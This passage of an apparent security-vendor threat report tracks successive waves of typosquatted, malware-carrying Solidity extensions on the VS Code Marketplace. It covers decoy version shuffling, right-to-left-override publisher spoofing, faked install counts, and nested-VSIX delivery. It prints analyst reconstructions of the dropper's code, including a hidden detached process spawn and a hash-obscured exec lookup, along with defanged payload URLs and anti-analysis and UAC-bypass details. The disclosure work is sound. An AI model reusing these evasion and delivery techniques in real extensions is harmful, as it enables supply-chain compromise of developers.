  <li><strong>A fifth wave followed, under a bidi-spoofed publisher.</strong> <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code> <code class="language-plaintext highlighter-rouge">0.0.187</code> was built at 22:37 UTC on October 23, captured by Argus at 22:51, and pulled from the version history minutes later. It is still served by direct URL. The publisher display name uses a capital <code class="language-plaintext highlighter-rouge">I</code> and a right-to-left override to render “Juan Blanco” while comparing as something else.</li>
  <li><strong>The fifth wave ships two packages from one source tree.</strong> <code class="language-plaintext highlighter-rouge">package:marketplace</code> compiles a stub with no runner and no video; <code class="language-plaintext highlighter-rouge">package:full</code> compiles the dropper. The build left on the listing is the stub, so a reviewer can install a working Solidity extension and never see the payload.</li>
  <li><strong>A sixth push removed the payload from the package.</strong> <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> <code class="language-plaintext highlighter-rouge">0.0.193</code> is 73 KB and carries no video, no runner, and no binary. On activation it installs a second extension from a bundled 32 KB VSIX, using the editor’s own install command. That inner package downloads the 54 MB carrier from a file host and runs the dropper from a temporary directory.</li>
  <li><strong>An eighth listing arrived with an inflated install count.</strong> <code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code> <code class="language-plaintext highlighter-rouge">0.0.195</code> went up on October 26, one day after <code class="language-plaintext highlighter-rouge">language-pack-sol</code>, with the carrier back inside the nested package. Seventy minutes after publication the listing displayed 224,611 installs while the marketplace’s gallery API recorded 26 downloads for its only version. Every install on a listing that young is an install since publication, so the two numbers describe the same package. The install counter is part of the wrapper now.</li>
  <li><strong>All seven embedded payload files are byte-identical to the September campaign.</strong> The same <code class="language-plaintext highlighter-rouge">evjawbreaker</code> Go implants for four platforms, the same ScreenConnect MSI (v25.4.3.9287), the same UAC-bypass script, the same ASCII-art duck note.</li>
  <li><strong>The implant has not changed since April 2026.</strong> The <code class="language-plaintext highlighter-rouge">linux_amd64</code> binary in this package is byte-identical to the one shipped in the April Open VSX typosquat wave, six months and two delivery redesigns ago. The delivery wrapper evolves; the payload does not.</li>
  <li><strong>New in this wave: anti-analysis gates in the dropper itself.</strong> Before extracting anything, the payload runner checks for debuggers (x64dbg, IDA, Wireshark, dnSpy and others) and for virtual machines (VMware, VirtualBox, QEMU, Parallels, KVM). Prior waves carried these checks only inside the compiled binary.</li>
  <li><strong>The Windows elevation technique is the .NET profiler bypass.</strong> The installer wrapper decompresses to a second script that registers a profiling DLL under an HKCU CLSID, sets <code class="language-plaintext highlighter-rouge">COR_ENABLE_PROFILING</code> in the user environment, and launches a Microsoft-signed MMC snap-in. The elevated MMC process loads the DLL, which executes the payload. The actor’s own file and variable names carry the technique index: <code class="language-plaintext highlighter-rouge">uac39</code>.</li>
  <li><strong>The Windows deploy check looks for ScreenConnect.</strong> The dropper treats the presence of any directory, process, or service containing the string <code class="language-plaintext highlighter-rouge">ScreenConnect</code> as proof the backdoor is already installed.</li>
  <li><strong>Distribution was minimal: one install on the first listing.</strong> Both <code class="language-plaintext highlighter-rouge">juanbanco.web3tools</code> and <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code>, along with the publisher account, have since been removed from the VS Code Marketplace.</li>
</ul>

<h2 id="the-version-shuffle">The version shuffle</h2>

<p>Both builds were captured on the morning of October 23, 2026:</p>

<table>
  <thead>
    <tr>
      <th>Build</th>
      <th>Size</th>
      <th>Behavior</th>
      <th>First analyzed (UTC)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">juanbanco.web3tools-0.0.2.vsix</code></td>
      <td>2.4 KB</td>
      <td>Registers a hello-world command. No file, network, or process activity.</td>
      <td>02:52</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">juanbanco.web3tools-0.0.191.vsix</code></td>
      <td>29.7 MB</td>
      <td>Drops a hidden binary, installs persistence, executes installers.</td>
      <td>03:11</td>
    </tr>
  </tbody>
</table>

<p>The marketplace version history showed one row at the time of analysis: <code class="language-plaintext highlighter-rouge">0.0.2</code>, last updated shortly before the weaponized build was captured. The shuffle works against three audiences at once. An automated review that samples the latest version samples the decoy. A manual reviewer who downloads “the extension” downloads the decoy. Only a victim who installs during the weaponized window — or an analyst watching the version feed continuously — sees the dropper. The economics are asymmetric: the threat actor re-publishes from a script for near zero cost, and the review surface resets each time.</p>

<p>The package metadata is a verbatim copy of the canonical extension’s, down to README badges that pull version and install counts from <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>, so the fake listing displays the real extension’s numbers. The only README change from September is the removal of the upstream maintainer’s anti-impersonation warning, 124 bytes. The engine constraint also dropped from <code class="language-plaintext highlighter-rouge">^1.85.0</code> to <code class="language-plaintext highlighter-rouge">^1.0.0</code>, which removes every version gate on installation.</p>

<h2 id="a-second-push-under-a-new-id">A second push, under a new ID</h2>

<p>The predicted re-push landed the same day. A second weaponized build, <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code> version <code class="language-plaintext highlighter-rouge">0.0.195</code>, appeared on the VS Code Marketplace under a new extension identifier — the original <code class="language-plaintext highlighter-rouge">web3tools</code> with a hyphen inserted. Both this listing and the original <code class="language-plaintext highlighter-rouge">juanbanco.web3tools</code> listing, along with the publisher account, were removed from the marketplace shortly after.</p>

<p>The payload did not change. All seven embedded archive entries, the <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> carrier, and the <code class="language-plaintext highlighter-rouge">extension.js</code> entry point are byte-identical to the <code class="language-plaintext highlighter-rouge">0.0.191</code> build. The only material change is the dropper itself. <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code> went from 25 KB of readable JavaScript to 399 KB of <code class="language-plaintext highlighter-rouge">javascript-obfuscator</code> output: 13,068 lines, a 2,564-entry string array with rotation, and control-flow flattening. Deobfuscated, the logic matches <code class="language-plaintext highlighter-rouge">0.0.191</code> function for function — the same anti-debug and anti-VM gates, the same NYANSTEG decode, the same per-platform persistence. No new capability, no new command-and-control. The obfuscation exists to defeat static string matching in the dropper stage, not to change what the dropper does.</p>

<p>The obfuscation step left its fingerprints in the package. A new npm script, <code class="language-plaintext highlighter-rouge">obfuscate:lang-resource</code>, names a source file <code class="language-plaintext highlighter-rouge">lang-resource-sync.source.js</code> and invokes <code class="language-plaintext highlighter-rouge">npx javascript-obfuscator</code> with a config file, <code class="language-plaintext highlighter-rouge">obfuscate-lang-resource.json</code>. The comments in the runner — including the one that names Cursor — were stripped by the obfuscator, so they no longer appear as literals. Two smaller metadata tweaks accompanied the re-push: the display name lost one of its ten zero-width characters, and a <code class="language-plaintext highlighter-rouge">publisherName</code> field set to <code class="language-plaintext highlighter-rouge">"Juan Blanco"</code> was added to the package metadata.</p>

<p>The version number jumped from <code class="language-plaintext highlighter-rouge">0.0.191</code> to <code class="language-plaintext highlighter-rouge">0.0.195</code>. The three builds in between never reached the marketplace. The served package was gzip-compressed, unlike the plain ZIP of the first dropper.</p>
<h2 id="a-third-push-and-a-clean-twin">A third push, and a clean twin</h2>

<p>A few hours after the second takedown, the operation published again: publisher <code class="language-plaintext highlighter-rouge">jaunblanco</code>, one transposed letter from the real maintainer’s handle, extension <code class="language-plaintext highlighter-rouge">ethtools</code>, version <code class="language-plaintext highlighter-rouge">0.0.187</code>, 29.8 MB. Build timestamps inside the archive read 22:37 UTC on October 23. Argus captured it at 22:51:41, and the hash-indirect rule described below fired fourteen seconds later. The version no longer appears in the listing’s history. A direct gallery URL for <code class="language-plaintext highlighter-rouge">0.0.187</code> still returns it, and the decompressed artifact hashes to the same file Argus scanned.</p>

<p>Three builds sit under that publisher, and the difference between them is the story:</p>

<table>
  <thead>
    <tr>
      <th>Build</th>
      <th>Size</th>
      <th>Contents</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0.0.2</code></td>
      <td>2.4 KB</td>
      <td><code class="language-plaintext highlighter-rouge">extneison</code>, “A minimal test extension”, no payload</td>
      <td>listed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0.0.186</code></td>
      <td>39 KB</td>
      <td>real grammar and snippets, runner stubbed out</td>
      <td>listed and currently served</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0.0.187</code></td>
      <td>29.8 MB</td>
      <td>full dropper plus the 54 MB duck carrier</td>
      <td>hidden from history, still fetchable by URL</td>
    </tr>
  </tbody>
</table>

<p>The payload did not change again. All seven embedded files are byte-identical to the September set, and <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> is the same 54,130,171-byte file. The wrapper changed twice.</p>

<p>The first change is structural. The extension is now four small TypeScript-compiled modules instead of one 398 KB obfuscated script: <code class="language-plaintext highlighter-rouge">out/extension.js</code> (2.9 KB) calls <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.js</code>, which re-exports <code class="language-plaintext highlighter-rouge">autoUpdate.payload.js</code> (5.5 KB), which spawns <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code> (28 KB). The dropper logic is readable again, comments included.</p>

<p>The second change is the reason this wave matters. The clean build is no longer a placeholder. <code class="language-plaintext highlighter-rouge">0.0.186</code> carries the same metadata and README and installs as a working language extension — but has no video, no <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code>, and an <code class="language-plaintext highlighter-rouge">attemptUpdate()</code> function whose entire body is a comment:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/** Marketplace VSIX — grammar/snippets only; no sync runner in bundle. */</span>
<span class="kd">function</span> <span class="nf">attemptUpdate</span><span class="p">(</span><span class="nx">_extensionPath</span><span class="p">)</span> <span class="p">{</span> <span class="p">}</span>
</code></pre></div></div>

<p>The stub build even ships the ignore file that produced it. <code class="language-plaintext highlighter-rouge">.vscodeignore.marketplace</code> lists exactly the files missing from that build — <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code>, <code class="language-plaintext highlighter-rouge">lang-resource-sync*</code>, <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.payload.js</code>, <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.dev.js</code>, <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.market.js</code>, <code class="language-plaintext highlighter-rouge">scripts/**</code> — and the <code class="language-plaintext highlighter-rouge">package.json</code> exposes two package scripts, <code class="language-plaintext highlighter-rouge">package:marketplace</code> and <code class="language-plaintext highlighter-rouge">package:full</code>. One source tree, two compilations: a store build that cannot execute the dropper because the dropper is not in it, and a full build that can.</p>

<p>That changes the shape of the shuffle. In the first wave the clean version was a hello-world stub that did nothing, which is itself a tell. Here the clean version installs normally and works. An automated review that samples the listed build sees a grammar, a snippet set, and no executable surface. The dropper is a separate package, built from the same tree, and still served to anyone who requests that version by number.</p>

<p>The publisher identity got the same treatment. In <code class="language-plaintext highlighter-rouge">package.json</code> the <code class="language-plaintext highlighter-rouge">publisherName</code> is the plain string <code class="language-plaintext highlighter-rouge">Juan Blanco</code>. On the gallery page the publisher line renders as “Juan Blanco” but is stored as <code class="language-plaintext highlighter-rouge">Juan BIan</code> + U+202E (right-to-left override) + <code class="language-plaintext highlighter-rouge">oc</code>: a capital <code class="language-plaintext highlighter-rouge">I</code> standing in for the lowercase <code class="language-plaintext highlighter-rouge">l</code>, and a bidi control reordering the last two letters. Search, filtering, and exact-match comparison see a different string from the one a human reads.</p>

<p>The <code class="language-plaintext highlighter-rouge">0.0.2</code> placeholder is also not the same file as last time. It is a 2.4 KB <code class="language-plaintext highlighter-rouge">extneison</code> package that still registers a leftover command from another test build:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">vscode</span><span class="p">.</span><span class="nx">commands</span><span class="p">.</span><span class="nf">registerCommand</span><span class="p">(</span><span class="dl">'</span><span class="s1">xander-asfasfzxcxzcxv-test.helloWorld</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">vscode</span><span class="p">.</span><span class="nb">window</span><span class="p">.</span><span class="nf">showInformationMessage</span><span class="p">(</span><span class="dl">'</span><span class="s1">Hello from xander (publisher: asfasfzxcxzcxv)!</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>A reused template, with the previous owner’s strings still inside it.</p>

<h2 id="a-fourth-push-the-payload-leaves-the-package">A fourth push: the payload leaves the package</h2>

<p>The next build reached the listing at 00:27 UTC on October 24: publisher <code class="language-plaintext highlighter-rouge">jaunblanco</code>, extension <code class="language-plaintext highlighter-rouge">ethertools</code>, version <code class="language-plaintext highlighter-rouge">0.0.193</code>. The package is 73,867 bytes across 15 files. It holds a grammar, a snippet set, a README copied from the canonical extension, and one archive named <code class="language-plaintext highlighter-rouge">resources/bundled.payload</code>. There is no video, no runner, and no compiled implant. By size and file list, it reads as a language extension.</p>

<p>It is not. The listed build installs a second extension.</p>

<p>On activation, <code class="language-plaintext highlighter-rouge">out/extension.js</code> waits between 60 and 150 seconds, copies the bundled archive to a temporary file, and passes it to the editor’s own install command:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// analyst interpretation of the activation flow</span>
<span class="kd">const</span> <span class="nx">bundled</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">,</span> <span class="dl">'</span><span class="s1">resources</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">bundled.payload</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">tmpVsix</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">os</span><span class="p">.</span><span class="nf">tmpdir</span><span class="p">(),</span> <span class="s2">`sol-bundled-</span><span class="p">${</span><span class="nb">Date</span><span class="p">.</span><span class="nf">now</span><span class="p">()}</span><span class="s2">.vsix`</span><span class="p">);</span>
<span class="nx">fs</span><span class="p">.</span><span class="nf">copyFileSync</span><span class="p">(</span><span class="nx">bundled</span><span class="p">,</span> <span class="nx">tmpVsix</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">commands</span><span class="p">.</span><span class="nf">executeCommand</span><span class="p">(</span>
  <span class="dl">'</span><span class="s1">workbench.extensions.command.installFromVSIX</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span><span class="nx">vscode</span><span class="p">.</span><span class="nx">Uri</span><span class="p">.</span><span class="nf">file</span><span class="p">(</span><span class="nx">tmpVsix</span><span class="p">)]</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The archive is a nested VSIX, 32,885 bytes, and its identity is not <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code>. It is <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> version <code class="language-plaintext highlighter-rouge">0.0.2</code>, display name “Solidity language runtime helpers” — the real maintainer’s publisher ID, not the transposed one used for delivery. The install runs through the editor’s normal extension path, so the second package lands in the extensions directory like any other extension. If <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> is already installed, the host returns without installing anything. A machine that runs the genuine extension never receives the second stage.</p>

<p>The inner extension carries the dropper. It waits another 45 to 105 seconds, fetches a media file over HTTPS, writes it to the temporary directory, and starts <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code> as a detached Node process:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// analyst interpretation of the second stage</span>
<span class="kd">const</span> <span class="nx">child</span> <span class="o">=</span> <span class="nf">spawn</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">execPath</span><span class="p">,</span> <span class="p">[</span><span class="nx">deployScript</span><span class="p">,</span> <span class="nx">extensionPath</span><span class="p">,</span> <span class="nx">mediaPath</span><span class="p">],</span> <span class="p">{</span>
  <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">stdio</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ignore</span><span class="dl">'</span><span class="p">,</span> <span class="na">windowsHide</span><span class="p">:</span> <span class="kc">true</span>
<span class="p">});</span>
<span class="nx">child</span><span class="p">.</span><span class="nf">unref</span><span class="p">();</span>
</code></pre></div></div>

<p>Both URLs are stored as hex string fragments in <code class="language-plaintext highlighter-rouge">out/publishUrls.js</code> and assembled at runtime: <code class="language-plaintext highlighter-rouge">https[://]litter[.]catbox[.]moe/9yh14d.mp4</code> and <code class="language-plaintext highlighter-rouge">https[://]litter[.]catbox[.]moe/bzp6p9.txt</code>. <code class="language-plaintext highlighter-rouge">litter.catbox.moe</code> is a legitimate file-hosting service. The malicious components are the two uploaded files. Both were live at analysis time. The MP4 is 54,130,171 bytes with SHA-256 <code class="language-plaintext highlighter-rouge">e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d</code>, and <code class="language-plaintext highlighter-rouge">NYANSTEG</code> starts at byte offset 3,944,464. The seven archive entries are byte-identical to the September set. Only the <code class="language-plaintext highlighter-rouge">.mp4</code> URL is called in this build; the second URL returns an 840-line copy of the runner that the inner package does not use.</p>

<p>The payload did not change. Its location did. The listed package contains a grammar, a README, and one opaque archive. The executable stage is a separate extension, installed by the editor at the request of the first. The 54 MB carrier is not in the package at all; it arrives from a file host after two randomized delays. Package size, file inventory, and archive inspection no longer describe the attack surface.</p>

<p>The host entry point is unchanged from the previous wave. <code class="language-plaintext highlighter-rouge">out/extension.js</code> in <code class="language-plaintext highlighter-rouge">0.0.193</code> is byte-identical to the <code class="language-plaintext highlighter-rouge">0.0.187</code> file (<code class="language-plaintext highlighter-rouge">48b97958…</code>), including the SHA-256 lookup for <code class="language-plaintext highlighter-rouge">child_process</code> and <code class="language-plaintext highlighter-rouge">exec</code> and the <code class="language-plaintext highlighter-rouge">An eye for an eye my friend.</code> marker. The loader is now a fixed component. The new work went into packaging: a store build that installs a second package, and an inner build that downloads its carrier.</p>

<p>The shuffle repeated with the same template. The first build on the listing was <code class="language-plaintext highlighter-rouge">0.0.2</code>, 2,398 bytes, the <code class="language-plaintext highlighter-rouge">extneison</code> placeholder with the <code class="language-plaintext highlighter-rouge">xander-asfasfzxcxzcxv</code> command. The listing then changed to <code class="language-plaintext highlighter-rouge">0.0.193</code>, and that is the only version in the history. The publisher line renders as “Juan Blanco” from a plain ASCII string; the bidi override from the previous wave is gone. The display name is <code class="language-plaintext highlighter-rouge">solidity</code> followed by 22 U+200B characters. Yeeth Security captured the build at 00:32 UTC, five minutes after the listing changed, while the listing was still live.</p>

<h2 id="an-eighth-listing-224000-installs-in-an-hour">An eighth listing: 224,000 installs in an hour</h2>

<p>One day after the <code class="language-plaintext highlighter-rouge">language-pack-sol</code> wave, the operation published again. <code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code> version <code class="language-plaintext highlighter-rouge">0.0.195</code> went up at 23:31 UTC on October 26 and was last updated at 23:56. The publisher name is the maintainer’s handle with a doubled <code class="language-plaintext highlighter-rouge">u</code>; the extension name is <code class="language-plaintext highlighter-rouge">vscode-solidity</code> with the last two letters transposed. The publisher line renders “Juan Blanco” from <code class="language-plaintext highlighter-rouge">Juan B</code> plus U+202E plus <code class="language-plaintext highlighter-rouge">ocnal</code>, and the display name is <code class="language-plaintext highlighter-rouge">solidity</code>, two spaces, and two zero-width spaces — the zero-width suffix down from ten, nine, twenty-one, twenty-two, and twenty-three in prior waves.</p>

<p>The package is 29.7 MB. <code class="language-plaintext highlighter-rouge">out/extension.js</code> is byte-identical to the loader the operation has shipped since <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code> (<code class="language-plaintext highlighter-rouge">48b97958…</code>). <code class="language-plaintext highlighter-rouge">resources/bundled.payload</code> is a 29.7 MB nested VSIX whose identity is <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> version <code class="language-plaintext highlighter-rouge">0.0.4</code> — the real publisher ID, one build up from the <code class="language-plaintext highlighter-rouge">0.0.2</code> and <code class="language-plaintext highlighter-rouge">0.0.3</code> used in the two prior waves. Inside it are <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> (54,130,171 bytes, <code class="language-plaintext highlighter-rouge">e618a750…</code>) and <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code> (<code class="language-plaintext highlighter-rouge">ebf98352…</code>), both byte-identical to every October wave. On activation the host installs the nested package through the editor’s own install command, and the inner extension forks the deploy script. The runtime fetch from <code class="language-plaintext highlighter-rouge">litter.catbox.moe</code> that defined the October 24 wave is gone; the carrier is back inside the nested package, as it was on October 25.</p>

<p>What is new is the number on the listing. The page reported 52,306 installs at 00:28 UTC, 57 minutes after publication, 52,451 at 00:33, and 224,611 at 00:42. The gallery API, queried at that point, credited version <code class="language-plaintext highlighter-rouge">0.0.195</code> with 26 downloads, while its install figure read 256,469. A counter that gains 172,000 installs in nine minutes without the download count moving is not measuring users. Every install on a listing this young is an install since publication, so the two figures describe the same package, and they differ by nearly four orders of magnitude. For comparison, the genuine <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> has accumulated 1,840,000 installs in eleven years. This listing claims 12 percent of that in seventy minutes.</p>

<p>The install count is doing the same job as the zero-width characters. A developer who lands on the page sees a familiar name and a six-figure install count; the count is the social proof the typo and the bidi publisher line cannot supply on their own. The README keeps the older trick too: its badges point at <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>, so the fake page borrows the real extension’s version, install, and download numbers as images while its own header count climbs. Two counters, one real and one manufactured, on the same page.</p>

<h2 id="the-evasion-we-published-in-the-dropper">The evasion we published, in the dropper</h2>

<p>The entry point of <code class="language-plaintext highlighter-rouge">0.0.187</code> does something none of the previous droppers did: it hides the call to <code class="language-plaintext highlighter-rouge">child_process.exec</code> behind a SHA-256 lookup, and it carries a marker string.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tag</span> <span class="o">=</span> <span class="p">(</span><span class="nx">s</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nf">createHash</span><span class="p">(</span><span class="dl">'</span><span class="s1">sha256</span><span class="dl">'</span><span class="p">).</span><span class="nf">update</span><span class="p">(</span><span class="nx">s</span><span class="p">).</span><span class="nf">digest</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">pick</span> <span class="o">=</span> <span class="p">(</span><span class="nx">xs</span><span class="p">,</span> <span class="nx">h</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">xs</span><span class="p">.</span><span class="nf">find</span><span class="p">((</span><span class="nx">x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nf">tag</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="o">===</span> <span class="nx">h</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">pkg</span> <span class="o">=</span> <span class="nf">pick</span><span class="p">(</span><span class="nx">builtinModules</span><span class="p">,</span> <span class="dl">'</span><span class="s1">f2d8255a…</span><span class="dl">'</span><span class="p">);</span>        <span class="c1">// resolves to "child_process"</span>
<span class="kd">const</span> <span class="nx">api</span> <span class="o">=</span> <span class="nf">require</span><span class="p">(</span><span class="nx">pkg</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">run</span> <span class="o">=</span> <span class="nx">api</span><span class="p">[</span><span class="nf">pick</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nf">keys</span><span class="p">(</span><span class="nx">api</span><span class="p">),</span> <span class="dl">'</span><span class="s1">2706c619…</span><span class="dl">'</span><span class="p">)];</span>  <span class="c1">// resolves to "exec"</span>
<span class="kd">const</span> <span class="nx">marker</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">416E2065796520666F7220616E20657965206D7920667269656E642E</span><span class="dl">'</span><span class="p">;</span>
<span class="k">if </span><span class="p">(</span><span class="nx">run</span> <span class="o">!==</span> <span class="nx">marker</span><span class="p">)</span> <span class="p">{</span> <span class="nf">attemptUpdate</span><span class="p">(</span><span class="nx">context</span><span class="p">.</span><span class="nx">extensionPath</span><span class="p">);</span> <span class="p">}</span>
</code></pre></div></div>

<p>The hex decodes to <code class="language-plaintext highlighter-rouge">An eye for an eye my friend.</code> — the same easter egg, and the same two hashes, that Yeeth published in <a href="https://yeethsecurity.com/blog/2026-06-18-The-Scanner-Is-the-Target">The Scanner Is the Target</a> in June, describing an internal red-team probe from that month. The comparison can never be true: <code class="language-plaintext highlighter-rouge">run</code> is a function and <code class="language-plaintext highlighter-rouge">marker</code> is a string, so the branch always falls through to the dropper. The block is a signature, not a gate.</p>

<p>Whether the same operator borrowed a published technique or someone is deliberately testing the rule that publication produced, the operational effect is the same: the package now carries a deterministic static anchor that exists before any payload is unpacked. <code class="language-plaintext highlighter-rouge">Y_Mal_hash_indirect_require</code>, written after the June probe, hit this build at 22:51:55 — in the fast-static stage, before the video was opened.</p>

<p>The rest of the dropper is the October script moved into modules: the same <code class="language-plaintext highlighter-rouge">isDebugged</code>, <code class="language-plaintext highlighter-rouge">isLinuxVM</code>, <code class="language-plaintext highlighter-rouge">isDarwinVM</code>, <code class="language-plaintext highlighter-rouge">isWindowsVM</code>, and <code class="language-plaintext highlighter-rouge">shouldSkipInstall</code> gates, the same <code class="language-plaintext highlighter-rouge">NYANSTEG</code> → <code class="language-plaintext highlighter-rouge">NYANB64X</code> → <code class="language-plaintext highlighter-rouge">NYANARCH</code> parse, the same systemd unit, LaunchAgent, UAC 39 chain, and <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code>. The comment that explains the debugger gate is still there, now in <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Only block when a debugger is actually attached, not just because</span>
<span class="c1">// VS Code/Cursor reserve a debug port (process.debugPort is always &gt; 0 there).</span>
</code></pre></div></div>

<h2 id="what-activates">What activates</h2>

<p>The weaponized build declares <code class="language-plaintext highlighter-rouge">Snippets</code> and <code class="language-plaintext highlighter-rouge">Programming Languages</code> categories, and its <code class="language-plaintext highlighter-rouge">package.json</code> is nearly empty of anything executable-looking:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"web3tools"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"displayName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"solidity</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b</span><span class="se">\u</span><span class="s2">200b"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"activationEvents"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"onStartupFinished"</span><span class="p">],</span><span class="w">
  </span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"./out/extension.js"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">onStartupFinished</code> fires every time the editor starts, after the window is up. The entry point calls one function in <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.js</code>, which first asks whether the deployment already exists — on Windows by scanning <code class="language-plaintext highlighter-rouge">Program Files</code>, <code class="language-plaintext highlighter-rouge">Program Files (x86)</code>, <code class="language-plaintext highlighter-rouge">LOCALAPPDATA</code>, and <code class="language-plaintext highlighter-rouge">APPDATA</code> for any directory whose name contains <code class="language-plaintext highlighter-rouge">ScreenConnect</code>, then by probing running processes and services for the same string. The string itself is stored hex-encoded (<code class="language-plaintext highlighter-rouge">53637265656e436f6e6e656374</code>) so it does not appear as a literal in the source. On Linux and macOS the check looks for specific files under <code class="language-plaintext highlighter-rouge">~/.solidity</code>.</p>

<p>If the deployment is not found, the extension spawns a detached Node process and returns:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// analyst interpretation of the activation flow</span>
<span class="kd">const</span> <span class="nx">child</span> <span class="o">=</span> <span class="nf">spawn</span><span class="p">(</span><span class="nx">bin</span><span class="p">,</span> <span class="p">[</span><span class="nx">runner</span><span class="p">,</span> <span class="nx">video</span><span class="p">],</span> <span class="p">{</span>
  <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
  <span class="na">stdio</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ignore</span><span class="dl">'</span><span class="p">,</span>
  <span class="na">windowsHide</span><span class="p">:</span> <span class="kc">true</span>
<span class="p">});</span>
<span class="nx">child</span><span class="p">.</span><span class="nf">unref</span><span class="p">();</span>
</code></pre></div></div>

<p>The editor opens normally. The syntax highlighting works. Two arguments go to the spawned process: <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code> and <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code>.</p>

<h2 id="new-gates-anti-debug-and-anti-vm">New gates: anti-debug and anti-VM</h2>

<p>The runner is the September script with 128 added lines, all of them anti-analysis. The gate runs before any payload logic does. It probes for analysis environments and exits silently if it finds one:</p>

<ul>
